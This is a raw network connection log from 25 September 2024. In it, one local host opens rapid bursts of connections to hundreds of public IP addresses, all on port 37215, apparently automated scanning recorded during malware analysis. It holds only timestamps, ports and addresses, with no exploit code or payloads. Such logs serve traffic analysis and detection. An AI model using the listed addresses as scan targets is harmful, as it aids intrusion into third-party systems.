Sep 25, 2024 14:14:18.114368916 CEST	37215	41946	197.29.42.45	192.168.2.14
Sep 25, 2024 14:14:18.114403009 CEST	33038	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.114428997 CEST	33038	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.114691019 CEST	37215	42044	197.29.42.45	192.168.2.14
Sep 25, 2024 14:14:18.114751101 CEST	42044	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.114751101 CEST	42044	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.115034103 CEST	37215	56162	41.177.243.71	192.168.2.14
Sep 25, 2024 14:14:18.115907907 CEST	37215	56264	41.177.243.71	192.168.2.14
Sep 25, 2024 14:14:18.115953922 CEST	56264	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.115973949 CEST	56264	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.118120909 CEST	37215	46006	156.234.214.18	192.168.2.14
Sep 25, 2024 14:14:18.118132114 CEST	37215	36602	41.141.238.167	192.168.2.14
Sep 25, 2024 14:14:18.118140936 CEST	37215	46704	156.237.235.153	192.168.2.14
Sep 25, 2024 14:14:18.118149996 CEST	37215	35876	197.84.75.37	192.168.2.14
Sep 25, 2024 14:14:18.118166924 CEST	46006	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:18.118172884 CEST	36602	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:18.118172884 CEST	46704	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:18.118175983 CEST	35876	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:18.118175983 CEST	37215	35030	41.22.143.134	192.168.2.14
Sep 25, 2024 14:14:18.118186951 CEST	37215	51530	41.94.152.146	192.168.2.14
Sep 25, 2024 14:14:18.118220091 CEST	35030	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:18.118220091 CEST	51530	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:18.118238926 CEST	37215	56776	41.93.99.103	192.168.2.14
Sep 25, 2024 14:14:18.118248940 CEST	37215	46980	156.205.204.61	192.168.2.14
Sep 25, 2024 14:14:18.118275881 CEST	37215	51606	197.37.51.50	192.168.2.14
Sep 25, 2024 14:14:18.118293047 CEST	56776	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:18.118323088 CEST	37215	46980	156.205.204.61	192.168.2.14
Sep 25, 2024 14:14:18.118385077 CEST	46980	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:18.118721008 CEST	37215	51606	197.37.51.50	192.168.2.14
Sep 25, 2024 14:14:18.118767977 CEST	51606	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:18.118943930 CEST	37215	47030	41.228.32.202	192.168.2.14
Sep 25, 2024 14:14:18.118987083 CEST	47030	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.119016886 CEST	37215	48906	41.206.92.108	192.168.2.14
Sep 25, 2024 14:14:18.119070053 CEST	48906	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.119294882 CEST	37215	33038	41.49.19.95	192.168.2.14
Sep 25, 2024 14:14:18.119337082 CEST	33038	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.119604111 CEST	37215	42044	197.29.42.45	192.168.2.14
Sep 25, 2024 14:14:18.119646072 CEST	42044	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.121078014 CEST	37215	56264	41.177.243.71	192.168.2.14
Sep 25, 2024 14:14:18.121124029 CEST	56264	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.121829987 CEST	37215	48192	41.133.229.37	192.168.2.14
Sep 25, 2024 14:14:18.121848106 CEST	37215	38982	156.175.50.147	192.168.2.14
Sep 25, 2024 14:14:18.125874996 CEST	37215	57886	156.77.57.155	192.168.2.14
Sep 25, 2024 14:14:18.125895977 CEST	37215	42374	41.104.29.87	192.168.2.14
Sep 25, 2024 14:14:18.125915051 CEST	37215	39208	41.7.151.239	192.168.2.14
Sep 25, 2024 14:14:18.125922918 CEST	37215	35428	41.163.10.152	192.168.2.14
Sep 25, 2024 14:14:18.129875898 CEST	37215	48698	156.5.24.206	192.168.2.14
Sep 25, 2024 14:14:18.153894901 CEST	37215	48804	41.206.92.108	192.168.2.14
Sep 25, 2024 14:14:18.153914928 CEST	37215	46944	41.228.32.202	192.168.2.14
Sep 25, 2024 14:14:18.161202908 CEST	37215	56162	41.177.243.71	192.168.2.14
Sep 25, 2024 14:14:18.161226988 CEST	37215	41946	197.29.42.45	192.168.2.14
Sep 25, 2024 14:14:18.161236048 CEST	37215	32938	41.49.19.95	192.168.2.14
Sep 25, 2024 14:14:18.613977909 CEST	55086	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:18.613977909 CEST	38592	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:18.613977909 CEST	55308	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:18.613981009 CEST	49928	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:18.613981009 CEST	39908	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:18.613981009 CEST	55968	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:18.613984108 CEST	37504	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:18.613989115 CEST	36096	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:18.613996029 CEST	34178	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:18.613996029 CEST	42992	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:18.614007950 CEST	42642	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:18.614007950 CEST	38436	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:18.614007950 CEST	35986	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.613990068 CEST	56132	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:18.614016056 CEST	56934	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.614016056 CEST	40660	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:18.613990068 CEST	60556	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:18.614016056 CEST	56546	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:18.614028931 CEST	41248	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:18.614029884 CEST	37670	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:18.614029884 CEST	49754	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:18.614037037 CEST	44440	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:18.614037037 CEST	42854	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:18.614039898 CEST	38190	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:18.614039898 CEST	51292	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:18.614038944 CEST	34808	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:18.614038944 CEST	40838	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:18.614038944 CEST	44658	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:18.614054918 CEST	52588	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:18.614058018 CEST	60892	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:18.614059925 CEST	36260	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:18.614059925 CEST	49696	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:18.614072084 CEST	58072	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:18.614072084 CEST	37556	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:18.614072084 CEST	32816	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:18.614075899 CEST	41404	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:18.619322062 CEST	37215	55086	156.26.49.169	192.168.2.14
Sep 25, 2024 14:14:18.619333982 CEST	37215	38592	41.163.125.164	192.168.2.14
Sep 25, 2024 14:14:18.619343996 CEST	37215	55308	156.180.191.247	192.168.2.14
Sep 25, 2024 14:14:18.619354010 CEST	37215	49928	41.96.40.29	192.168.2.14
Sep 25, 2024 14:14:18.619364023 CEST	37215	37504	41.168.18.102	192.168.2.14
Sep 25, 2024 14:14:18.619373083 CEST	37215	39908	156.156.122.8	192.168.2.14
Sep 25, 2024 14:14:18.619373083 CEST	55086	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:18.619390011 CEST	37215	55968	197.177.63.21	192.168.2.14
Sep 25, 2024 14:14:18.619394064 CEST	38592	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:18.619394064 CEST	55308	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:18.619415045 CEST	39908	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:18.619415045 CEST	49928	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:18.619424105 CEST	37504	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:18.619453907 CEST	37215	56934	197.173.203.0	192.168.2.14
Sep 25, 2024 14:14:18.619466066 CEST	55968	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:18.619455099 CEST	38592	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:18.619465113 CEST	37215	40660	41.113.76.132	192.168.2.14
Sep 25, 2024 14:14:18.619478941 CEST	55086	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:18.619478941 CEST	56934	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.619479895 CEST	37215	56546	156.183.76.141	192.168.2.14
Sep 25, 2024 14:14:18.619503021 CEST	63353	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:18.619520903 CEST	63353	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:18.619520903 CEST	40660	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:18.619520903 CEST	56546	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:18.619522095 CEST	63353	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:18.619528055 CEST	63353	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:18.619528055 CEST	63353	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:18.619528055 CEST	63353	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:18.619544983 CEST	63353	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.619548082 CEST	63353	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:18.619548082 CEST	63353	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:18.619548082 CEST	63353	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:18.619549990 CEST	63353	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:18.619553089 CEST	63353	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:18.619564056 CEST	63353	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:18.619564056 CEST	63353	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:18.619568110 CEST	63353	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:18.619568110 CEST	63353	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:18.619594097 CEST	37215	41248	41.213.67.82	192.168.2.14
Sep 25, 2024 14:14:18.619596004 CEST	63353	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:18.619599104 CEST	63353	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:18.619599104 CEST	63353	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:18.619600058 CEST	63353	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:18.619605064 CEST	37215	42642	156.184.222.237	192.168.2.14
Sep 25, 2024 14:14:18.619600058 CEST	63353	37215	192.168.2.14	41.182.160.196
Sep 25, 2024 14:14:18.619600058 CEST	63353	37215	192.168.2.14	197.15.91.163
Sep 25, 2024 14:14:18.619612932 CEST	63353	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:18.619612932 CEST	63353	37215	192.168.2.14	156.181.97.225
Sep 25, 2024 14:14:18.619616032 CEST	37215	37670	197.233.237.119	192.168.2.14
Sep 25, 2024 14:14:18.619616985 CEST	63353	37215	192.168.2.14	156.44.91.118
Sep 25, 2024 14:14:18.619626045 CEST	37215	49754	41.204.244.44	192.168.2.14
Sep 25, 2024 14:14:18.619636059 CEST	37215	38436	41.153.113.211	192.168.2.14
Sep 25, 2024 14:14:18.619638920 CEST	63353	37215	192.168.2.14	197.19.39.143
Sep 25, 2024 14:14:18.619640112 CEST	41248	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:18.619643927 CEST	63353	37215	192.168.2.14	197.49.224.3
Sep 25, 2024 14:14:18.619646072 CEST	37215	34178	41.162.5.27	192.168.2.14
Sep 25, 2024 14:14:18.619643927 CEST	63353	37215	192.168.2.14	197.238.245.140
Sep 25, 2024 14:14:18.619643927 CEST	63353	37215	192.168.2.14	156.152.87.204
Sep 25, 2024 14:14:18.619643927 CEST	63353	37215	192.168.2.14	41.123.148.122
Sep 25, 2024 14:14:18.619651079 CEST	63353	37215	192.168.2.14	197.155.5.129
Sep 25, 2024 14:14:18.619654894 CEST	37215	44440	197.172.74.68	192.168.2.14
Sep 25, 2024 14:14:18.619656086 CEST	63353	37215	192.168.2.14	197.43.39.249
Sep 25, 2024 14:14:18.619658947 CEST	63353	37215	192.168.2.14	156.172.66.155
Sep 25, 2024 14:14:18.619661093 CEST	37670	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:18.619661093 CEST	49754	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:18.619667053 CEST	42642	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:18.619676113 CEST	63353	37215	192.168.2.14	41.188.18.65
Sep 25, 2024 14:14:18.619676113 CEST	63353	37215	192.168.2.14	156.133.46.249
Sep 25, 2024 14:14:18.619680882 CEST	63353	37215	192.168.2.14	41.10.164.78
Sep 25, 2024 14:14:18.619683981 CEST	34178	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:18.619688034 CEST	63353	37215	192.168.2.14	197.175.94.73
Sep 25, 2024 14:14:18.619688034 CEST	44440	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:18.619694948 CEST	38436	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:18.619702101 CEST	63353	37215	192.168.2.14	41.159.69.209
Sep 25, 2024 14:14:18.619702101 CEST	63353	37215	192.168.2.14	156.29.180.98
Sep 25, 2024 14:14:18.619704962 CEST	63353	37215	192.168.2.14	41.152.174.38
Sep 25, 2024 14:14:18.619709015 CEST	63353	37215	192.168.2.14	156.57.161.36
Sep 25, 2024 14:14:18.619709015 CEST	63353	37215	192.168.2.14	197.158.71.174
Sep 25, 2024 14:14:18.619716883 CEST	63353	37215	192.168.2.14	197.239.189.66
Sep 25, 2024 14:14:18.619730949 CEST	63353	37215	192.168.2.14	197.252.106.102
Sep 25, 2024 14:14:18.619730949 CEST	63353	37215	192.168.2.14	197.52.44.21
Sep 25, 2024 14:14:18.619733095 CEST	63353	37215	192.168.2.14	197.234.112.252
Sep 25, 2024 14:14:18.619733095 CEST	63353	37215	192.168.2.14	156.14.6.122
Sep 25, 2024 14:14:18.619736910 CEST	63353	37215	192.168.2.14	197.58.178.119
Sep 25, 2024 14:14:18.619738102 CEST	63353	37215	192.168.2.14	156.35.116.79
Sep 25, 2024 14:14:18.619740009 CEST	63353	37215	192.168.2.14	41.29.80.237
Sep 25, 2024 14:14:18.619740009 CEST	63353	37215	192.168.2.14	197.237.0.152
Sep 25, 2024 14:14:18.619750977 CEST	63353	37215	192.168.2.14	41.99.73.72
Sep 25, 2024 14:14:18.619750977 CEST	63353	37215	192.168.2.14	41.111.170.178
Sep 25, 2024 14:14:18.619759083 CEST	63353	37215	192.168.2.14	197.162.128.74
Sep 25, 2024 14:14:18.619762897 CEST	37215	35986	156.51.177.129	192.168.2.14
Sep 25, 2024 14:14:18.619767904 CEST	63353	37215	192.168.2.14	156.90.50.86
Sep 25, 2024 14:14:18.619767904 CEST	63353	37215	192.168.2.14	41.72.53.78
Sep 25, 2024 14:14:18.619777918 CEST	37215	42854	41.175.30.52	192.168.2.14
Sep 25, 2024 14:14:18.619781017 CEST	63353	37215	192.168.2.14	156.167.51.237
Sep 25, 2024 14:14:18.619781017 CEST	63353	37215	192.168.2.14	41.92.2.195
Sep 25, 2024 14:14:18.619782925 CEST	63353	37215	192.168.2.14	197.93.29.54
Sep 25, 2024 14:14:18.619788885 CEST	63353	37215	192.168.2.14	156.214.247.78
Sep 25, 2024 14:14:18.619791031 CEST	37215	38190	41.126.108.91	192.168.2.14
Sep 25, 2024 14:14:18.619805098 CEST	63353	37215	192.168.2.14	41.118.134.33
Sep 25, 2024 14:14:18.619805098 CEST	35986	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.619806051 CEST	37215	51292	41.203.135.99	192.168.2.14
Sep 25, 2024 14:14:18.619808912 CEST	63353	37215	192.168.2.14	156.6.196.8
Sep 25, 2024 14:14:18.619812012 CEST	63353	37215	192.168.2.14	197.114.193.33
Sep 25, 2024 14:14:18.619812012 CEST	63353	37215	192.168.2.14	197.80.44.176
Sep 25, 2024 14:14:18.619812012 CEST	63353	37215	192.168.2.14	41.104.69.182
Sep 25, 2024 14:14:18.619815111 CEST	63353	37215	192.168.2.14	41.211.19.236
Sep 25, 2024 14:14:18.619815111 CEST	42854	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:18.619815111 CEST	63353	37215	192.168.2.14	197.102.37.155
Sep 25, 2024 14:14:18.619816065 CEST	63353	37215	192.168.2.14	156.53.85.70
Sep 25, 2024 14:14:18.619817019 CEST	63353	37215	192.168.2.14	197.218.130.174
Sep 25, 2024 14:14:18.619820118 CEST	37215	52588	41.218.113.176	192.168.2.14
Sep 25, 2024 14:14:18.619829893 CEST	37215	42992	156.158.134.204	192.168.2.14
Sep 25, 2024 14:14:18.619833946 CEST	51292	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:18.619833946 CEST	38190	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:18.619836092 CEST	63353	37215	192.168.2.14	197.3.110.186
Sep 25, 2024 14:14:18.619848967 CEST	63353	37215	192.168.2.14	41.223.26.72
Sep 25, 2024 14:14:18.619864941 CEST	63353	37215	192.168.2.14	156.39.42.163
Sep 25, 2024 14:14:18.619868040 CEST	42992	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:18.619868040 CEST	63353	37215	192.168.2.14	197.164.111.7
Sep 25, 2024 14:14:18.619870901 CEST	63353	37215	192.168.2.14	156.164.167.205
Sep 25, 2024 14:14:18.619870901 CEST	63353	37215	192.168.2.14	197.69.17.94
Sep 25, 2024 14:14:18.619870901 CEST	63353	37215	192.168.2.14	197.135.121.222
Sep 25, 2024 14:14:18.619877100 CEST	52588	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:18.619879007 CEST	37215	36260	197.72.52.161	192.168.2.14
Sep 25, 2024 14:14:18.619889975 CEST	37215	34808	41.204.4.154	192.168.2.14
Sep 25, 2024 14:14:18.619891882 CEST	63353	37215	192.168.2.14	156.250.51.230
Sep 25, 2024 14:14:18.619893074 CEST	63353	37215	192.168.2.14	197.212.219.6
Sep 25, 2024 14:14:18.619899035 CEST	63353	37215	192.168.2.14	41.239.147.135
Sep 25, 2024 14:14:18.619899988 CEST	37215	60892	197.126.2.56	192.168.2.14
Sep 25, 2024 14:14:18.619900942 CEST	63353	37215	192.168.2.14	197.195.169.156
Sep 25, 2024 14:14:18.619900942 CEST	63353	37215	192.168.2.14	41.116.143.77
Sep 25, 2024 14:14:18.619904041 CEST	63353	37215	192.168.2.14	156.37.7.15
Sep 25, 2024 14:14:18.619910002 CEST	37215	40838	41.57.178.82	192.168.2.14
Sep 25, 2024 14:14:18.619918108 CEST	34808	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:18.619925022 CEST	63353	37215	192.168.2.14	156.100.219.8
Sep 25, 2024 14:14:18.619925022 CEST	63353	37215	192.168.2.14	41.134.114.48
Sep 25, 2024 14:14:18.619925976 CEST	63353	37215	192.168.2.14	197.139.92.174
Sep 25, 2024 14:14:18.619927883 CEST	36260	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:18.619930983 CEST	63353	37215	192.168.2.14	41.109.178.226
Sep 25, 2024 14:14:18.619930983 CEST	63353	37215	192.168.2.14	41.72.187.55
Sep 25, 2024 14:14:18.619935036 CEST	37215	49696	156.201.222.189	192.168.2.14
Sep 25, 2024 14:14:18.619936943 CEST	63353	37215	192.168.2.14	156.12.75.102
Sep 25, 2024 14:14:18.619937897 CEST	60892	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:18.619941950 CEST	40838	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:18.619946957 CEST	63353	37215	192.168.2.14	156.49.32.126
Sep 25, 2024 14:14:18.619950056 CEST	63353	37215	192.168.2.14	41.193.75.133
Sep 25, 2024 14:14:18.619950056 CEST	63353	37215	192.168.2.14	41.138.179.252
Sep 25, 2024 14:14:18.619951010 CEST	37215	44658	197.75.103.164	192.168.2.14
Sep 25, 2024 14:14:18.619951963 CEST	63353	37215	192.168.2.14	156.171.164.249
Sep 25, 2024 14:14:18.619952917 CEST	63353	37215	192.168.2.14	197.227.27.213
Sep 25, 2024 14:14:18.619961977 CEST	37215	41404	41.94.82.29	192.168.2.14
Sep 25, 2024 14:14:18.619952917 CEST	63353	37215	192.168.2.14	156.127.111.135
Sep 25, 2024 14:14:18.619971991 CEST	37215	58072	156.128.52.57	192.168.2.14
Sep 25, 2024 14:14:18.619972944 CEST	63353	37215	192.168.2.14	41.49.34.173
Sep 25, 2024 14:14:18.619978905 CEST	49696	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:18.619978905 CEST	63353	37215	192.168.2.14	197.121.31.167
Sep 25, 2024 14:14:18.619978905 CEST	63353	37215	192.168.2.14	41.55.184.212
Sep 25, 2024 14:14:18.619981050 CEST	37215	36096	41.141.77.117	192.168.2.14
Sep 25, 2024 14:14:18.619981050 CEST	63353	37215	192.168.2.14	197.215.117.238
Sep 25, 2024 14:14:18.619981050 CEST	63353	37215	192.168.2.14	156.245.228.216
Sep 25, 2024 14:14:18.619991064 CEST	37215	56132	197.57.233.63	192.168.2.14
Sep 25, 2024 14:14:18.619996071 CEST	63353	37215	192.168.2.14	156.86.186.219
Sep 25, 2024 14:14:18.619999886 CEST	44658	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:18.620004892 CEST	63353	37215	192.168.2.14	156.12.238.88
Sep 25, 2024 14:14:18.620007992 CEST	63353	37215	192.168.2.14	41.48.226.207
Sep 25, 2024 14:14:18.620007992 CEST	41404	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:18.620007992 CEST	63353	37215	192.168.2.14	156.57.16.153
Sep 25, 2024 14:14:18.620007992 CEST	63353	37215	192.168.2.14	156.166.26.191
Sep 25, 2024 14:14:18.620016098 CEST	58072	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:18.620017052 CEST	36096	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:18.620012999 CEST	37215	37556	156.116.96.173	192.168.2.14
Sep 25, 2024 14:14:18.620017052 CEST	63353	37215	192.168.2.14	41.165.198.94
Sep 25, 2024 14:14:18.620024920 CEST	63353	37215	192.168.2.14	41.114.114.246
Sep 25, 2024 14:14:18.620033026 CEST	37215	32816	41.114.142.228	192.168.2.14
Sep 25, 2024 14:14:18.620039940 CEST	56132	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:18.620040894 CEST	63353	37215	192.168.2.14	197.157.55.36
Sep 25, 2024 14:14:18.620042086 CEST	63353	37215	192.168.2.14	41.208.223.218
Sep 25, 2024 14:14:18.620042086 CEST	63353	37215	192.168.2.14	41.69.34.207
Sep 25, 2024 14:14:18.620048046 CEST	37215	60556	197.216.95.131	192.168.2.14
Sep 25, 2024 14:14:18.620053053 CEST	63353	37215	192.168.2.14	197.57.183.34
Sep 25, 2024 14:14:18.620057106 CEST	63353	37215	192.168.2.14	156.150.76.237
Sep 25, 2024 14:14:18.620057106 CEST	63353	37215	192.168.2.14	41.123.58.89
Sep 25, 2024 14:14:18.620057106 CEST	63353	37215	192.168.2.14	41.18.51.135
Sep 25, 2024 14:14:18.620062113 CEST	63353	37215	192.168.2.14	197.60.218.31
Sep 25, 2024 14:14:18.620062113 CEST	63353	37215	192.168.2.14	156.106.188.74
Sep 25, 2024 14:14:18.620070934 CEST	37556	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:18.620071888 CEST	63353	37215	192.168.2.14	156.43.100.115
Sep 25, 2024 14:14:18.620070934 CEST	32816	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:18.620074034 CEST	63353	37215	192.168.2.14	156.150.194.214
Sep 25, 2024 14:14:18.620075941 CEST	63353	37215	192.168.2.14	41.20.128.40
Sep 25, 2024 14:14:18.620085001 CEST	63353	37215	192.168.2.14	197.174.100.193
Sep 25, 2024 14:14:18.620088100 CEST	63353	37215	192.168.2.14	156.23.142.19
Sep 25, 2024 14:14:18.620090008 CEST	63353	37215	192.168.2.14	197.163.2.149
Sep 25, 2024 14:14:18.620094061 CEST	60556	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:18.620095968 CEST	63353	37215	192.168.2.14	197.189.164.160
Sep 25, 2024 14:14:18.620110035 CEST	63353	37215	192.168.2.14	197.45.9.146
Sep 25, 2024 14:14:18.620114088 CEST	63353	37215	192.168.2.14	197.222.239.40
Sep 25, 2024 14:14:18.620125055 CEST	63353	37215	192.168.2.14	156.198.7.169
Sep 25, 2024 14:14:18.620125055 CEST	63353	37215	192.168.2.14	41.252.194.154
Sep 25, 2024 14:14:18.620136976 CEST	63353	37215	192.168.2.14	197.188.232.225
Sep 25, 2024 14:14:18.620138884 CEST	63353	37215	192.168.2.14	197.158.63.185
Sep 25, 2024 14:14:18.620138884 CEST	63353	37215	192.168.2.14	197.201.150.94
Sep 25, 2024 14:14:18.620141983 CEST	63353	37215	192.168.2.14	156.208.220.138
Sep 25, 2024 14:14:18.620141983 CEST	63353	37215	192.168.2.14	41.1.4.34
Sep 25, 2024 14:14:18.620143890 CEST	63353	37215	192.168.2.14	41.138.131.3
Sep 25, 2024 14:14:18.620145082 CEST	63353	37215	192.168.2.14	156.42.29.73
Sep 25, 2024 14:14:18.620151043 CEST	63353	37215	192.168.2.14	156.177.135.213
Sep 25, 2024 14:14:18.620151043 CEST	63353	37215	192.168.2.14	41.232.157.2
Sep 25, 2024 14:14:18.620172977 CEST	63353	37215	192.168.2.14	156.76.201.2
Sep 25, 2024 14:14:18.620174885 CEST	63353	37215	192.168.2.14	41.160.114.100
Sep 25, 2024 14:14:18.620177984 CEST	63353	37215	192.168.2.14	41.79.138.14
Sep 25, 2024 14:14:18.620177984 CEST	63353	37215	192.168.2.14	41.155.139.17
Sep 25, 2024 14:14:18.620192051 CEST	63353	37215	192.168.2.14	197.176.72.216
Sep 25, 2024 14:14:18.620193958 CEST	63353	37215	192.168.2.14	41.219.248.225
Sep 25, 2024 14:14:18.620193958 CEST	63353	37215	192.168.2.14	197.26.90.221
Sep 25, 2024 14:14:18.620198965 CEST	63353	37215	192.168.2.14	41.13.108.165
Sep 25, 2024 14:14:18.620198965 CEST	63353	37215	192.168.2.14	197.251.37.251
Sep 25, 2024 14:14:18.620198965 CEST	63353	37215	192.168.2.14	197.100.50.121
Sep 25, 2024 14:14:18.620208979 CEST	63353	37215	192.168.2.14	41.115.35.63
Sep 25, 2024 14:14:18.620208979 CEST	63353	37215	192.168.2.14	197.109.227.3
Sep 25, 2024 14:14:18.620208979 CEST	63353	37215	192.168.2.14	41.56.212.161
Sep 25, 2024 14:14:18.620220900 CEST	63353	37215	192.168.2.14	197.199.214.202
Sep 25, 2024 14:14:18.620235920 CEST	63353	37215	192.168.2.14	41.3.97.147
Sep 25, 2024 14:14:18.620244026 CEST	63353	37215	192.168.2.14	156.131.253.125
Sep 25, 2024 14:14:18.620244026 CEST	63353	37215	192.168.2.14	197.4.233.22
Sep 25, 2024 14:14:18.620244026 CEST	63353	37215	192.168.2.14	41.17.125.233
Sep 25, 2024 14:14:18.620245934 CEST	63353	37215	192.168.2.14	156.138.49.145
Sep 25, 2024 14:14:18.620245934 CEST	63353	37215	192.168.2.14	197.44.200.218
Sep 25, 2024 14:14:18.620249033 CEST	63353	37215	192.168.2.14	197.0.43.191
Sep 25, 2024 14:14:18.620251894 CEST	63353	37215	192.168.2.14	197.169.192.114
Sep 25, 2024 14:14:18.620251894 CEST	63353	37215	192.168.2.14	197.145.218.50
Sep 25, 2024 14:14:18.620254993 CEST	63353	37215	192.168.2.14	41.7.172.238
Sep 25, 2024 14:14:18.620263100 CEST	63353	37215	192.168.2.14	197.119.219.157
Sep 25, 2024 14:14:18.620461941 CEST	40660	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:18.620465040 CEST	34178	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:18.620465040 CEST	58072	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:18.620472908 CEST	56546	37215	192.168.2.14	156.183.76.141
